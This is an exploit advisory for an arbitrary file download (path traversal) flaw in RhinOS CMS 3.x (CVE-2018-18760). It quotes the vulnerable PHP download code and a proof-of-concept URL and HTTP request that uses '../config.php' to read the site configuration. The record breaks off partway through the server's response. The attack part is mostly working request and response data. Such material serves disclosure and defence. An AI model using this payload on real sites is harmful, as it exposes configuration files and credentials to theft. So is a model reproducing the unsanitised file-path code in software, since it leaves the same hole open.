RhinOS CMS 3.x Arbitrary File Download

2018.10.30
Credit: Ihsan Sencan
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 4.3/10
Impact Subscore: 2.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: None

# Exploit Title: RhinOS CMS 3.x - Arbitrary File Download # Dork: N/A # Date: 2018-10-29 # Exploit Author: Ihsan Sencan # Vendor Homepage: http://www.saltos.org/ # Software Link: https://netix.dl.sourceforge.net/project/rhinos/archived/r1190/RhinOS-en-3.0-1190.win32.exe # Version: 3.1 r0 / 3.x # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: CVE-2018-18760 # Users... # C:/rhinos/demo/admin/php/download.php #.... #26 $head=0;$main=0;$tail=0; #27 include("inicio.php"); #28 if(!check_user()) die(); #29 $name=getParam("name"); #30 $file="files/".getParam("file"); #31 $size=getParam("size"); #32 $type=getParam("type"); #33 if(!file_exists($file)) die(); #34 header("Pragma: public"); #35 header("Expires: 0"); #36 header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); #37 header("Content-Type: $type"); #38 header("Content-Length: $size"); #39 header("Content-Disposition: attachment; filename=\"$name\""); #40 header("Content-Transfer-Encoding: binary"); #41 $fp=fopen($file,"rb"); #42 while(!feof($fp)) echo fread($fp,8192); #43 fclose($fp); #44 disconnect(); #.... # POC: # 1) # http://localhost/[PATH]/admin/inicio.php?include=php/download.php&name=efe.php&file=../config.php # GET /[PATH]/admin/inicio.php?include=php/download.php&name=efe.php&file=../config.php HTTP/1.1 Host: TARGET User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:50.0) Gecko/20100101 Firefox/50.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: tr-TR,tr;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Cookie: remember=0; PHPSESSID=ek24koab445aab70seegi02lh3 DNT: 1 Connection: keep-alive Upgrade-Insecure-Requests: 1 HTTP/1.1 200 OK Date: Mon, 29 Oct 2018 00:23:54 GMT Server: Apache/2.2.16 (Win32) PHP/5.3.3 X-Powered-By: PHP/5.3.3 Expires: 0 Cache-Control: must-revalidate, post-check=0, pre-check=0 Pragma: public Content-Length: 1771 Content-Disposition: attachment; filename="efe.php" Content-Transfer-Encoding: binary Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type:


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